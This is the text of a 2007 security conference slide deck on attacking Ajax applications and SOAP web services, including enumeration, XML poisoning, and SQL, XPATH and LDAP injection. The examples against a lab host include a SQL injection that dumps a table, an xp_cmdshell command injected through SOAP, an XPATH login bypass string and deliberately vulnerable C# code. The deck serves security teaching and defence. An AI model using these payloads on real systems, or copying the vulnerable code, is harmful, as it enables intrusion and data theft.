SlideShare a Scribd company logo
1 of 47
Hacking Ajax and Web Services
            Next Generation Web Attacks on the Rise
                              Shreeraj Shah

                                  KL, Malaysia
                                  6th Sept. 2007



© Shreeraj Shah                   [HITB 2007 KL]




                              Who am I?
                                                         http://shreeraj.blogspot.com
                                                         shreeraj@blueingy.com
     • Founder & Director
          - Blueinfy Solutions Pvt. Ltd. (Brief)
     • Past experience
          - Net Square, Chase, IBM & Foundstone
     • Interest
          - Web security research
     • Published research
          - Articles / Papers – Securityfocus, O’erilly, DevX, InformIT etc.
          - Tools – wsScanner, wsChess, MSNPawn, Ajaxfinger, Scanajax
          - Advisories - .Net, Java servers etc.
     • Books (Author)
          - Hacking Web Services (Thomson 2006)
          - Web Hacking (AWL 2003)
          - Web 2.0 Security (Work in progress)
© Shreeraj Shah                   [HITB 2007 KL]




                                                                                        1
Web 2.0 – Industry, Trends &
                         Technologies




© Shreeraj Shah          [HITB 2007 KL]




                   Industry - Web 2.0




© Shreeraj Shah          [HITB 2007 KL]




                                                 2
Industry
     • By the end of 2007, Gartner predicts 30 percent
       of large companies will have some kind of Web
       2.0-based business initiative up and running.
     • Web Services is forming back end and
       accessible on XML protocols
     • AJAX – empowering browsers
     • XML based services
     • Rich Internet Applications are consuming back
       end web services
     • Search engines and mechanisms for web
       services publishing are getting momentum

© Shreeraj Shah         [HITB 2007 KL]




                       Industry
     • 2007. Web services would rocket from
       $1.6 billion in 2004 to $34 billion. [IDC]
     • 2008. Web Services or Service-Oriented
       Architecture (SOA) would surge ahead.
       [Gartner]
     • Web 2.0 and Enterprise 2.0 are on its way
       to redefine application layer


© Shreeraj Shah         [HITB 2007 KL]




                                                         3
Web 2.0 Architecture
                                                    Documents

                                           News                       Weather

                                     Mails                                  Bank/Trade
                                                      Internet
            Browser
                                                                                   RSS feeds
        Ajax
                             Internet
    RIA (Flash)                                 Web 2.0 Start
 HTML / JS / DOM

                             Blog                     Database   Authentication

                                                            Application
                                                            Infrastructure
                                        Web Services
                                        End point

© Shreeraj Shah                            [HITB 2007 KL]




                     Web 2.0 Components
                                                      Protocol Layer

                                    SOAP     XML-RPC         REST
                                                                                            Server Layer
                                             HTTP/HTTPS
    Ajax       Flash / RIA                                                        SOA/WOA       SaaS

 HTML/CSS JavaScript                                                         Web Services       Ajax

   Widget         DOM                   JSON           XML                        Traditional   APIs
Client Layer
                                     RSS/ATOM          Text

                                     JS-Objects       Custom

                                    Structure Layer


© Shreeraj Shah                            [HITB 2007 KL]




                                                                                                           4
Technologies
      Internet                   DMZ                              Trusted



                                       SOAP, REST, XML-RPC
   Web
  Service                                                                   W
   Client                                                                   E
                                                             Application
                                          Scripted                          B
                            Web                               Servers
                                           Web
                                                                            S
                           Server                               And
                                          Engine                            E
                          Static pages  Dynamic pages
   Web                                                       Integrated     R
                         HTML,HTM etc.. ASP DHTML,
                                                                            V
   Client                                                    Framework
                                         PHP,CGI Etc..
                                                                            I

                                             X
                                                             ASP.NET with   C
                                                                 .Net       E
                                                               J2EE App
                                                                            S
                                                                Server
                                                             Web Services
                                                                 Etc..
                                             DB

© Shreeraj Shah                    Internal/Corporate
                            [HITB 2007 KL]




                  Web 2.0 Security – On the rise




© Shreeraj Shah             [HITB 2007 KL]




                                                                                5
Web 2.0 Security
     • Complex architecture and confusion with
       technologies
     • Web 2.0 worms and viruses – Sammy,
       Yammaner & Spaceflash
     • Ajax and JavaScripts – Client side attacks
       are on the rise
     • Web Services attacks and exploitation
     • Flash clients are running with risks

© Shreeraj Shah       [HITB 2007 KL]




                  Web 2.0 Security
     • Watch out for Web 2.0 security risks:
       Gartner
     • Mashup and un-trusted sources
     • RSS feeds manipulation and its integration
     • Single Sign On and information
       convergence at one point
     • Widgets and third-party components are
       bringing security concerns
     • Old attacks with new carriers
© Shreeraj Shah       [HITB 2007 KL]




                                                    6
Vectors of change
     • Impact of Web 2.0 is on 4 dimensions
          -   Application Infrastructure
          -   Security threats
          -   Methodology
          -   Countermeasure




© Shreeraj Shah                   [HITB 2007 KL]




                       Vectors of change
     • Application Infrastructure

          Changing dimension           Web 1.0                      Web 2.0
                                HTTP & HTTPS               SOAP, XML-RPC, REST etc.
          (AI1) Protocols
                                                              over HTTP & HTTPS

                                HTML transfer              XML, JSON, JS Objects etc.
          (AI2) Information
             structures
                                Synchronous                Asynchronous & Cross-
          (AI3) Communication
                                Postback                      domains (proxy)
             methods
                                Refresh and Redirect
                                Single place information   Multiple sources (Urge for
          (AI4) Information
                                    (No urge for              integrated information
             sharing
                                    integration)              platform)



© Shreeraj Shah                   [HITB 2007 KL]




                                                                                        7
Vectors of change
     • Security Threats

        Changing dimension               Web 1.0                        Web 2.0
                               Structured                      Scattered and multiple
       (T1) Entry points
                                                               • Multiple technologies
                               Limited
       (T2) Dependencies
                                                               • Information sources
                                                               • Protocols

                                                               • Web services [Payloads]
                               Server side [Typical
       (T3) Vulnerabilities
                                                               • Client side [XSS & XSRF]
                               injections]

                               Server side exploitation        Both server and client side
       (T4) Exploitation
                                                               exploitation




© Shreeraj Shah                    [HITB 2007 KL]




                        Vectors of change
     • Methodology

           Changing dimension               Web 1.0                        Web 2.0
                                   Typical with quot;Hostquot; and
         Footprinting                                            Empowered with search
                                   DNS
         Discovery                 Simple                        Difficult with hidden calls

         Enumeration               Structured                    Several streams

         Scanning                  Structured and simple         Difficult with extensive Ajax

                                                                 Difficult with Ajax and web
         Automated attacks         Easy after discovery
                                                                 services
                                   On the server-side
         Reverse engineering                                     Client-side with Ajax & Flash
                                   [Difficult]
         Code reviews              Focus on server-side only     Client-side analysis needed

© Shreeraj Shah                    [HITB 2007 KL]




                                                                                                 8
Vectors of change
     • Countermeasure

           Changing dimension              Web 1.0                        Web 2.0

                                                                Multiple places [Mashups &
           Owner of information   Single place
                                                                RSS]

           Browser security       Simple DOM usage              Complex DOM usage

                                                                Client side [incoming
           Validations            Server side
                                                                content]

           Logic shift            Only on server                Client side shift

           Secure coding          Structured and single place   Multiple places and scattered


© Shreeraj Shah                   [HITB 2007 KL]




                         Ajax – Attacks, Threats &
                            Countermeasures




© Shreeraj Shah                   [HITB 2007 KL]




                                                                                                9
Ajax basics
     • Asynchronous JavaScript and XML

                     HTML / CSS                           Database / Resource


                      JS / DOM                           XML / Middleware / Text


              XMLHttpRequest (XHR)                             Web Server



                              Asynchronous
                              over HTTP(S)



© Shreeraj Shah                         [HITB 2007 KL]




                                Ajax - Sample
                  function loadhtml()
                  {
                      var http;
                      if(window.XMLHttpRequest){
                         http = new XMLHttpRequest();
                      }else if (window.ActiveXObject){
                               http=new ActiveXObject(quot;Msxml2.XMLHTTPquot;);
                         if (! http){
                               http=new ActiveXObject(quot;Microsoft.XMLHTTPquot;);
                         }
                      }
                      http.open(quot;GETquot;, quot;main.htmlquot;, true);
                      http.onreadystatechange = function()
                      {
                               if (http.readyState == 4) {
                                           var response = http.responseText;
                                           document.getElementById('main').innerHTML = response;

                      }
                  }
                  http.send(null);
                  }
© Shreeraj Shah                         [HITB 2007 KL]




                                                                                                   10
Ajax attack points
     • Ajax components & Widgets
     • Cross domain vulnerable browsers and
       callback implementations
     • DOM manipulation calls and points
     • Insecure eval()
     • HTML tags
     • Intranet nodes and internal resources
                                               Demo

© Shreeraj Shah        [HITB 2007 KL]




                  Ajax attack vectors
     •   Entry point scanning and enumeration
     •   Cross site scripting (XSS) attacks
     •   Cross site Request Forgery (CSRF) issues
     •   Client side code reverse engineering
     •   Security control and validation bypassing
     •   Local privacy information enumeration
     •   Ajax framework exploitation – known bugs
                                               Demo

© Shreeraj Shah        [HITB 2007 KL]




                                                      11
Ajax fingerprinting
     • Determining Ajax calls
     • Framework fingerprinting
     • Running with what?
          - Atlas
          - GWT
          - Etc.
     • Ajaxfinger a tool to achieve this
     • Can help in assessment process
     • RIA finger printing is possible
                                               Demo

© Shreeraj Shah           [HITB 2007 KL]




                    Ajax enumeration
     • Identifying XHR calls
     • Decoding the back end calls
     • Information enumeration on structures
          - JSON
          - XML
          - JS-Objects etc.
     • Tools to determine Ajax calls
     • Valuable information – Crawlers can’t get
       it because hidden in JavaScript
© Shreeraj Shah           [HITB 2007 KL]




                                                      12
Ajax Crawling
     • Crawling Ajax driven app – a challenge
     • Resources are hidden in JavaScript
     • Simple scanner will fail
     • Crawling with actual DOM context
     • Automated crawling with browser is
       required
     • How?
                                                   Demo

© Shreeraj Shah         [HITB 2007 KL]




                   Ajax Scanning
     • Scanning Ajax components
     • Retrieving all JS include files
          - Part of <SCRIPT SRC=….>
     •   Identifying XHR calls
     •   Grabbing function
     •   Mapping function to DOM event
     •   Scanning code for XSS – look for eval()
         and document.write()
                                                   Demo

© Shreeraj Shah         [HITB 2007 KL]




                                                          13
Ajax serialization issues
     • Ajax processing various information
       coming from server and third party
       sources. – XSS opportunities
          message = {
                 from : quot;john@example.comquot;,
                 to : quot;jerry@victim.comquot;,
                 subject : quot;I am finequot;,
                 body : quot;Long message herequot;,
                 showsubject :
          function(){document.write(this.subject)}
          };



                          XSS

© Shreeraj Shah                 [HITB 2007 KL]




                  Ajax serialization issues
     • JSON issues
           {quot;bookmarksquot;:[{quot;Linkquot;:quot;www.example.comquot;,quot;D
           escquot;:quot;Interesting linkquot;}]}


     • JS – Array manipulation
           new Array(“Laptop”, “Thinkpad”, “T60”,
           “Used”, “900$”, “It is great and I have
           used it for 2 years”)




© Shreeraj Shah                 [HITB 2007 KL]




                                                        14
Ajax and JS manipulation
     • JavaScript exploitation – XSS
     • Identifying DOM points like
       document.write()
     • Eval() – another interesting point
     • Attack APIs and tools for exploitation
     • Lot can be done by an attacker from
       session hijacking to key loggers


© Shreeraj Shah          [HITB 2007 KL]




                  Ajax and RSS injection
     • RSS feeds are another entry point to the
       browser
     • Injecting script to the RSS feeds and Ajax
       call may execute it.
     • One click – Malformed linked injected into
       it and can lead to exploit “javascript:”
     • Leveraging events – onClick, onMouse
       etc.
                                                Demo

© Shreeraj Shah          [HITB 2007 KL]




                                                       15
Cross-domain calls
     • Browser security doesn’t support cross
       domain calls
     • But cross domain callback with JavaScript
       is possible
     • This can be lethal attack since cross
       domain information get executed on the
       current DOM context.


© Shreeraj Shah         [HITB 2007 KL]




                   Defending Ajax
     • No business logic information on client
       side.
     • Do not trust third party source – filter it out
     • No direct cross domain call back
     • Filtering at browser level before
       processing information
     • Avoiding client side validation


© Shreeraj Shah         [HITB 2007 KL]




                                                         16
Defending Ajax
     • No secret in Ajax calls
     • Proper data structure selection and
       frameworks
     • Avoid client side validation
     • Securing client side calls like eval() and
       document.write()
     • HTML tags filtering before serving to end
       client

© Shreeraj Shah             [HITB 2007 KL]




                  Web Services – Attacks, Threats &
                         Countermeasures




© Shreeraj Shah             [HITB 2007 KL]




                                                      17
Web services stack

                                    Presentation Stack
                                                 XML

                                       Security Stack
                                              WS-Security

                                     Discovery Stack
                                              UDDI, DISCO

                                       Access Stack
                                              WSDL,SOAP

                                     Transport Stack
                                              HTTP, HTTPS



© Shreeraj Shah                           [HITB 2007 KL]




                                       Security!
                                                                           User Controlled
                  End Client     In Transit         Vendor Controlled


                                                                                   Web Services
                                                                                   Deployment
                                                                                      Shell




                                                                                 Web
               Web
                                                                               Services
             Services          HTTP POST
                                                                               Binaries
                               SOAP Envelope
              Client


                            Web
                           Server
                           80/443
                                                 Web            Web Services
                                               Services           Code &
                                                Engine          Components
© Shreeraj Shah                           [HITB 2007 KL]




                                                                                                  18
Assessment strategies


                                Web Services Risk
                                     Model


                    Blackbox                         Whitebox
                   Assessment                       Assessment



                            Web Services Defense
                                 Controls




© Shreeraj Shah                 [HITB 2007 KL]




                       Risk - In transit

   • In transit Sniffing or Spoofing
   • WS-Routing security concern
   • Replay attacks




© Shreeraj Shah                 [HITB 2007 KL]




                                                                 19
Risk - Web services Engine

   •   Buffer overflow
   •   XML parsing attacks
   •   Spoiling Schema
   •   Complex or Recursive structure as payload
   •   Denial of services
   •   Large payload


© Shreeraj Shah          [HITB 2007 KL]




  Web services Deployment - Risk

   •      Fault code leaks
   •      Permissions & Access issues
   •      Poor policies
   •      Customized error leakage
   •      Authentication and Certification




© Shreeraj Shah          [HITB 2007 KL]




                                                   20
Web services User code - Risk

   •      Parameter tampering
   •      WSDL probing
   •      SQL/LDAP/XPATH/OS command injection
   •      Virus/Spyware/Malware injection
   •      Bruteforce
   •      Data type mismatch
   •      Content spoofing
   •      Session tampering
   •      Format string
   •      Information leakage
   •      Authorization
© Shreeraj Shah             [HITB 2007 KL]




                         Footprinting
       • Objectives
          -   Place for web services…
          -   We may know the company name in this case?
          -   Do we have any whois for web services?
          -   If we answer above questions then we can have
              enough information on what to assess?




© Shreeraj Shah             [HITB 2007 KL]




                                                              21
UDDI
     • Universal Description, Discovery, and
       Integration (UDDI)
     • It acts as White/Yellow/Green pages
     • Xmethods etc…
     • Information can be published and retrieved
       from
     • Gets replicated across networks over
       internet

© Shreeraj Shah          [HITB 2007 KL]




                           UDDI
     • It includes
          - businessEntity
          - businessService
          - bindingTemplate
          - tModel




© Shreeraj Shah          [HITB 2007 KL]




                                                    22
UDDI

                                       Find UDDI APIs



                  businessEntity Structure
                                                         tModel Structure

                        businessService Structure


                             bindingTemplate Structure




© Shreeraj Shah                         [HITB 2007 KL]




                    Web Service Discovery
     • After footprinting web services next step is to
       perform discovery.
     • On the basis of services found one can do
       so.
     • Finding access point for web services will
       point to its discovery.
     • Discovery is the key to the kingdom.
     • Once again over UDDI.

© Shreeraj Shah                         [HITB 2007 KL]




                                                                            23
Web Service Discovery
     • From various keys – Service and Business
       one can dig access point from UBN.
     • This is a part of protocol and identified from
       XML block itself.




© Shreeraj Shah          [HITB 2007 KL]




                   Web Service Search
     •   Search in public domain
     •   Use – Search Engines
     •   Google & MSN – An excellent tool
     •   Look for wsdl,asmx,jws etc.
     •   Filetype and allinurl are best friends
     •   Leveraging Web APIs


                                                  Demo

© Shreeraj Shah          [HITB 2007 KL]




                                                         24
Technology Identification
     •   Running on which platform?
     •   Configuration and Structures
     •   File extensions
     •   Path discovery
     •   This is very useful information




© Shreeraj Shah           [HITB 2007 KL]




                     Demo Application


                                           Web Services
                                           Location of
                                           WSDL




© Shreeraj Shah           [HITB 2007 KL]




                                                          25
Technology Identification
     • Location can be obtained from UDDI as well
       if already published.
     • WSDL location [ Access Point ]
     http://192.168.11.2/ws/dvds4less.asmx?wsdl



                                                  .asmx – indicates
                                                  .Net server from MS




© Shreeraj Shah                  [HITB 2007 KL]




                  Technology Identification
     • Similarly .jws – for Java web services
     • /ws/ - in the path indicates web services
     • MS-SOAPToolkit can be identified as well
        C:>nc 192.168.11.2 80
        HEAD / HTTP/1.0

        HTTP/1.1 200 OK
        Server: Microsoft-IIS/5.0
        Date: Tue, 28 Sep 2004 18:48:20 GMT
        X-Powered-By: ASP.NET
        Connection: Keep-Alive
        Content-Length: 7565
        Content-Type: text/html
        Set-Cookie: ASPSESSIONIDSSSRQDRC=LMMPKHNAAOFDHMIHAODOJHCO;
        path=/
        Cache-control: private
© Shreeraj Shah                  [HITB 2007 KL]




                                                                        26
Technology Identification
     • Resource header spits some information as
       well

        C:>nc 192.168.11.2 80
        HEAD /ws/dvds4less.asmx HTTP/1.0

        HTTP/1.1 500 Internal Server Error
        Server: Microsoft-IIS/5.0
        Date: Tue, 28 Sep 2004 18:50:09 GMT
        X-Powered-By: ASP.NET
        X-AspNet-Version: 1.1.4322
        Cache-Control: private
        Content-Type: text/html; charset=utf-8
        Content-Length: 3026




© Shreeraj Shah                     [HITB 2007 KL]




                  WSDL Scanning/Enumeration

     • What is WSDL?
     • What information one can enumerate from
       WSDL?
     • WSDL exposure is threat or not?




© Shreeraj Shah                     [HITB 2007 KL]




                                                     27
WSDL
     • WSDL is web services definition language
     • It is similar to old IDL for remote calls used
       in CORBA or other remote invoke
       methods.
     • It contains detail of methods
     • Types of I/O
     • Parameters of methods
     • It is XML document with standards.

© Shreeraj Shah          [HITB 2007 KL]




                  Nodes of WSDL
   Data
   types




   Message                                  Operations
   Types



                   Service
                                Access Binding




© Shreeraj Shah          [HITB 2007 KL]




                                                         28
WSDL <Service>

        <service name=quot;dvds4lessquot;>
                 <port name=quot;dvds4lessSoapquot; binding=quot;s0:dvds4lessSoapquot;>
                  <soap:address location=quot;http://192.168.11.2/ws/dvds4less.asmxquot;/>
                 </port>
        </service>




                                   Where the call is going to hit?
                                   It is where service is listening.




© Shreeraj Shah                    [HITB 2007 KL]




                     WSDL <portType>
                                                          Methods one
                                                          Can call



        <portType name=quot;dvds4lessSoapquot;>
          <operation name=quot;Introquot;>
           <input message=quot;s0:IntroSoapInquot;/>
           <output message=quot;s0:IntroSoapOutquot;/>
          </operation>
          <operation name=quot;getProductInfoquot;>
           <input message=quot;s0:getProductInfoSoapInquot;/>
           <output message=quot;s0:getProductInfoSoapOutquot;/>
          </operation>
          <operation name=quot;getRebatesInfoquot;>
           <input message=quot;s0:getRebatesInfoSoapInquot;/>
           <output message=quot;s0:getRebatesInfoSoapOutquot;/>
          </operation>
         </portType>



© Shreeraj Shah                    [HITB 2007 KL]




                                                                                     29
WSDL <Message>
      <portType name=quot;dvds4lessSoapquot;>
      <operation name=quot;getProductInfoquot;>
         <input message=quot;s0:getProductInfoSoapInquot;/>
         <output message=quot;s0:getProductInfoSoapOutquot;/>
        </operation>
      </portType>




      <message name=quot;getProductInfoSoapInquot;>
        <part name=quot;parametersquot; element=quot;s0:getProductInfoquot;/>
       </message>
       <message name=quot;getProductInfoSoapOutquot;>
        <part name=quot;parametersquot; element=quot;s0:getProductInfoResponsequot;/>
       </message>




© Shreeraj Shah                  [HITB 2007 KL]




                       WSDL <Types>
      <message name=quot;getProductInfoSoapInquot;>
        <part name=quot;parametersquot; element=quot;s0:getProductInfoquot;/>
       </message>
       <message name=quot;getProductInfoSoapOutquot;>
        <part name=quot;parametersquot; element=quot;s0:getProductInfoResponsequot;/>
       </message>

      <s:element name=quot;getProductInfoquot;>
           <s:complexType>
            <s:sequence>
             <s:element minOccurs=quot;0quot; maxOccurs=quot;1quot; name=quot;idquot;
      type=quot;s:stringquot;/>
            </s:sequence>
           </s:complexType>
         </s:element>
         <s:element name=quot;getProductInfoResponsequot;>
           <s:complexType>
            <s:sequence>
             <s:element minOccurs=quot;0quot; maxOccurs=quot;1quot;
      name=quot;getProductInfoResultquot;
              type=quot;s:stringquot;/>
© Shreeraj Shah                  [HITB 2007 KL]




                                                                        30
WSDL Profile after Scan
       Methods                  INPUT                    OUTPUT


       Intro                    -No-                     String


       getProductInfo           String                   String


       getRebatesInfo String                             String
                                                                         Demo

© Shreeraj Shah                 [HITB 2007 KL]




                         How it looks?

                                                 Intro
                      WSDL
                   <PortType>                             Web Services
 Remote                                getProductInfo
                    <Service>                                Code
 Invokes
                   <Message>
                     <Types>                                  OR
                                      getRebatesInfo

                                                             Class




© Shreeraj Shah                 [HITB 2007 KL]




                                                                                31
AV 1 - XML poisoning
     • XML node manipulation
     • Attack on parsing logic
          - SAX
          - DOM
     • Can be lethal – DoS or breaking execution
       logic




© Shreeraj Shah         [HITB 2007 KL]




                     XML poisoning
     <CustomerRecord>
       <CustomerNumber>289001</CustomerNumber>
       <FirstName>John</FirstName>
       <LastName>Smith</LastName>
       <Address>Apt 31, 1st Street</Address>
       <Email>john@smith.com</Email>
       <PhoneNumber>3809922347</PhoneNumber>
     </ CustomerRecord>




© Shreeraj Shah         [HITB 2007 KL]




                                                   32
XML poisoning
     <CustomerRecord>
       <CustomerNumber>289001</CustomerNumber>
     <FirstName>John</FirstName><CustomerNumber>289
       001</CustomerNumber>
     <FirstName>John</FirstName>
       <LastName>Smith</LastName>
       <Address>Apt 31, 1st Street</Address>
       <Email>john@smith.com</Email>
       <PhoneNumber>3809922347</PhoneNumber>
     </ CustomerRecord>




© Shreeraj Shah         [HITB 2007 KL]




                  XML poisoning
     <CustomerRecord>
         <CustomerNumber>289001</CustomerNumber>
         <FirstName>John</FirstName>
     <FirstName>John</FirstName>
     ... 100 time…
     <FirstName>John</FirstName>
     <LastName>Smith</LastName>
         <Address>Apt 31, 1st Street<Address>
         <Email>john@smith.com<Email>
         <PhoneNumber>3809922347<PhoneNumber>
     </ CustomerRecord>




© Shreeraj Shah         [HITB 2007 KL]




                                                      33
AV 2 - Parameter tampering & Fault code leakage

     • Fault code of web services spit lot of
       information about internal workings.
     • This attack can fetch internal paths,
       database interfaces etc.
     • Fault code is part of SOAP envelope and
       this helps an attacker to make logical
       deduction about assets.



© Shreeraj Shah                   [HITB 2007 KL]




                           SOAP request
                                                            SOAP
          Forcing Fault Code                                Envelope
          Source of Enumeration


       <?xml version=quot;1.0quot; encoding=quot;utf-16quot;?>
       <soap:Envelope xmlns:soap=quot;http://schemas.xmlsoap.org/soap/envelope/quot;
       xmlns:xsi=quot;http://www.w3.org/2001/XMLSchema-instancequot;
       xmlns:xsd=quot;http://www.w3.org/2001/XMLSchemaquot;>
        <soap:Body>
         <getRebatesInfo xmlns=quot;http://tempuri.org/quot;>
          <fileinfo>abx.xyz</fileinfo>
         </getRebatesInfo>
        </soap:Body>
       </soap:Envelope>



      Input to the
      method
                                            Method
                                            Call

© Shreeraj Shah                   [HITB 2007 KL]




                                                                               34
SOAP response
     <?xml version=quot;1.0quot; encoding=quot;utf-16quot;?>
     <soap:Envelope xmlns:soap=quot;http://schemas.xmlsoap.org/soap/envelope/quot;
     xmlns:xsi=quot;http://www.w3.org/2001/XMLSchema-instancequot;
     xmlns:xsd=quot;http://www.w3.org/2001/XMLSchemaquot;>
      <soap:Body>
        <soap:Fault>
         <faultcode>soap:Server</faultcode>
         <faultstring>Server was unable to process request. --&gt; Could not find file
     &amp;quot;c:inetpubwwwrootrebatesabx.xyz&amp;quot;.</faultstring>
         <detail />
        </soap:Fault>
      </soap:Body>
     </soap:Envelope>




     Fault Code
                                                                   Path Enumeration

© Shreeraj Shah                         [HITB 2007 KL]




                      AV 3 - SQL injection
     • SQL injection can be done using SOAP
       traffic.
     • It is innovative way of identifying database
       interface points.
     • One can leverage xp_cmdshell via SOAP.
     • Back end database can be compromised
       using this attack.



© Shreeraj Shah                         [HITB 2007 KL]




                                                                                         35
SOAP request
                                                             SOAP
                                                             Envelope



       <?xml version=quot;1.0quot; encoding=quot;utf-16quot;?>
       <soap:Envelope xmlns:soap=quot;http://schemas.xmlsoap.org/soap/envelope/quot;
       xmlns:xsi=quot;http://www.w3.org/2001/XMLSchema-instancequot;
       xmlns:xsd=quot;http://www.w3.org/2001/XMLSchemaquot;>
        <soap:Body>
         <getProductInfo xmlns=quot;http://tempuri.org/quot;>
          <id>1</id>
         </getProductInfo>
        </soap:Body>
       </soap:Envelope>



      Input to the
      method
                                            Method
                                            Call

© Shreeraj Shah                   [HITB 2007 KL]




                          SOAP request                      Product
                                                            Information




         <?xml version=quot;1.0quot; encoding=quot;utf-16quot;?>
         <soap:Envelope xmlns:soap=quot;http://schemas.xmlsoap.org/soap/envelope/quot;
         xmlns:xsi=quot;http://www.w3.org/2001/XMLSchema-instancequot;
         xmlns:xsd=quot;http://www.w3.org/2001/XMLSchemaquot;>
          <soap:Body>
           <getProductInfoResponse xmlns=quot;http://tempuri.org/quot;>
            <getProductInfoResult>/(1)Finding Nemo($14.99)/
         </getProductInfoResult>
           </getProductInfoResponse>
          </soap:Body>
         </soap:Envelope>




© Shreeraj Shah                   [HITB 2007 KL]




                                                                                 36
SOAP response
     <?xml version=quot;1.0quot; encoding=quot;utf-16quot;?>
     <soap:Envelope xmlns:soap=quot;http://schemas.xmlsoap.org/soap/envelope/quot;
     xmlns:xsi=quot;http://www.w3.org/2001/XMLSchema-instancequot;
     xmlns:xsd=quot;http://www.w3.org/2001/XMLSchemaquot;>
      <soap:Body>
       <soap:Fault>
        <faultcode>soap:Server</faultcode>
        <faultstring>Server was unable to process request. --&gt; Cannot use
     empty object or column names. Use a single space if necessary.</faultstring>
        <detail />
       </soap:Fault>
      </soap:Body>




     Fault Code
                                   Indicates SQL Server
                                   Place for SQL Injection
© Shreeraj Shah                      [HITB 2007 KL]




                          SOAP response
           Popular SQL Injection

     <?xml version=quot;1.0quot; encoding=quot;utf-16quot;?>
     <soap:Envelope xmlns:soap=quot;http://schemas.xmlsoap.org/soap/envelope/quot;
     xmlns:xsi=quot;http://www.w3.org/2001/XMLSchema-instancequot;
     xmlns:xsd=quot;http://www.w3.org/2001/XMLSchemaquot;>
      <soap:Body>
       <getProductInfo xmlns=quot;http://tempuri.org/quot;>
        <id>1 or 1=1</id>
       </getProductInfo>
      </soap:Body>
     </soap:Envelope>




     Fault Code


© Shreeraj Shah                      [HITB 2007 KL]




                                                                                    37
SOAP request
          Works!!

       <?xml version=quot;1.0quot; encoding=quot;utf-16quot;?>
       <soap:Envelope xmlns:soap=quot;http://schemas.xmlsoap.org/soap/envelope/quot;
       xmlns:xsi=quot;http://www.w3.org/2001/XMLSchema-instancequot;
       xmlns:xsd=quot;http://www.w3.org/2001/XMLSchemaquot;>
         <soap:Body>
          <getProductInfoResponse xmlns=quot;http://tempuri.org/quot;>
           <getProductInfoResult>/(1)Finding Nemo($14.99)/
       /(2)Bend it like Beckham($12.99)/
       /(3)Doctor Zhivago($10.99)/
       /(4)A Bug's Life($13.99)/
       /(5)Lagaan($12.99)/
       /(6)Monsoon Wedding($10.99)/
                                                        Entire Table
       /(7)Lawrence of Arabia($14.99)/
                                                        Is out
       </getProductInfoResult>
          </getProductInfoResponse>
         </soap:Body>




© Shreeraj Shah                            [HITB 2007 KL]




                            SOAP response
           Exploiting this Vulnerability

     <?xml version=quot;1.0quot; encoding=quot;utf-16quot;?>
     <soap:Envelope xmlns:soap=quot;http://schemas.xmlsoap.org/soap/envelope/quot;
     xmlns:xsi=quot;http://www.w3.org/2001/XMLSchema-instancequot;
     xmlns:xsd=quot;http://www.w3.org/2001/XMLSchemaquot;>
      <soap:Body>
        <getProductInfo xmlns=quot;http://tempuri.org/quot;>
         <id>1;EXEC master..xp_cmdshell 'dir c: >
     c:inetpubwwwrootwsdir.txt'</id>
        </getProductInfo>
      </soap:Body>
     </soap:Envelope>




     Exploit code


© Shreeraj Shah                            [HITB 2007 KL]




                                                                               38
SOAP request
          Works!!

       <soap:Envelope xmlns:soap=quot;http://schemas.xmlsoap.org/soap/envelope/quot;
       xmlns:xsi=quot;http://www.w3.org/2001/XMLSchema-instancequot;
       xmlns:xsd=quot;http://www.w3.org/2001/XMLSchemaquot;>
        <soap:Body>
         <getProductInfoResponse xmlns=quot;http://tempuri.org/quot;>
          <getProductInfoResult>/(1)Finding Nemo($14.99)/
       </getProductInfoResult>
         </getProductInfoResponse>
        </soap:Body>
       </soap:Envelope>


                                                      Looks Normal
                                                      response




© Shreeraj Shah                     [HITB 2007 KL]




                           SOAP request
          But … Code got executed




                                                      Looks Normal
                                                        Got Admin via
                                                      response
                                                        cmdshell




© Shreeraj Shah                     [HITB 2007 KL]




                                                                               39
AV 4 – XPATH injection
     • XPATH is new way of querying XML
       documents.
     • This attack works nicely on web services
       since they use XML extensively.
     • Developer’s loophole can be leveraged with
       an exploit.
     • XPATH query crafting is next generation
       attack methods.


© Shreeraj Shah           [HITB 2007 KL]




                  XPATH Injection - Basics
     • XPATH is a language defined to find information
       from XML document.
     • As XPATH name suggests it indeed uses path to
       traverse through nodes of XML document and
       look for specific information from the document.
     • XPATH provides expressions like slash (/),
       double slash (//), dot(.), double dot (..), @, =, <,
       > etc. It helps in traversing through XML
       document.


© Shreeraj Shah           [HITB 2007 KL]




                                                              40
XPATH – Vulnerable Code
   string fulltext = quot;quot;;
   string coString = quot;Provider=SQLOLEDB;Server=(local);database=order;User
   ID=sa;Password=mypassquot;;
   SqlXmlCommand co = new SqlXmlCommand(coString);
   co.RootTag=quot;Credentialquot;;
   co.CommandType = SqlXmlCommandType.Sql;
   co.CommandText = quot;SELECT * FROM users for xml Autoquot;;
   XmlReader xr = co.ExecuteXmlReader();
   xr.MoveToContent();
   fulltext = xr.ReadOuterXml();
   XmlDocument doc = new XmlDocument();
   doc.LoadXml(fulltext);
   string credential = quot;//users[@username='quot;+user+quot;' and @password='quot;+pass+quot;']quot;;
   XmlNodeList xmln = doc.SelectNodes(credential);
   string temp;
   if(xmln.Count > 0)
   {
         //True
   }
   else //false
© Shreeraj Shah                [HITB 2007 KL]




                  Attacking XPATH point
  • //users[@username='quot;+user+quot;' and @password='quot;+pass+quot;']quot;;

  • XPATH parsing can be leveraged by passing
    following string ' or 1=1 or ''=‘
  • This will always true on the first node and user
    can get access as who ever is first user.
  • //users[@username='' or 1=1 or ''='' and @password='any']

  Bingo!



© Shreeraj Shah                [HITB 2007 KL]




                                                                                   41
AV 5 – LDAP injection
     • LDAP authentication in place
     • Possible to manipulate LDAP queries
     • May leads to enumeration OR
       manipulation
     • Interesting attack vector
     • Fault code leaks LDAP interface



© Shreeraj Shah          [HITB 2007 KL]




             AV 6 – File System access
     • Identifying file system points
     • Directory traversing & Access
     • Leads to file access and source code
       exposure
     • Lethal if found!




© Shreeraj Shah          [HITB 2007 KL]




                                              42
SOAP request
                                                                        SOAP
          Forcing Fault Code                                            Envelope
          Source of Enumeration


       <?xml version=quot;1.0quot; encoding=quot;utf-16quot;?>
       <soap:Envelope xmlns:soap=quot;http://schemas.xmlsoap.org/soap/envelope/quot;
       xmlns:xsi=quot;http://www.w3.org/2001/XMLSchema-instancequot;
       xmlns:xsd=quot;http://www.w3.org/2001/XMLSchemaquot;>
        <soap:Body>
         <getRebatesInfo xmlns=quot;http://tempuri.org/quot;>
          <fileinfo>abx.xyz</fileinfo>
         </getRebatesInfo>
        </soap:Body>
       </soap:Envelope>



      Input to the
      method
                                                  Method
                                                  Call

© Shreeraj Shah                         [HITB 2007 KL]




                           SOAP response
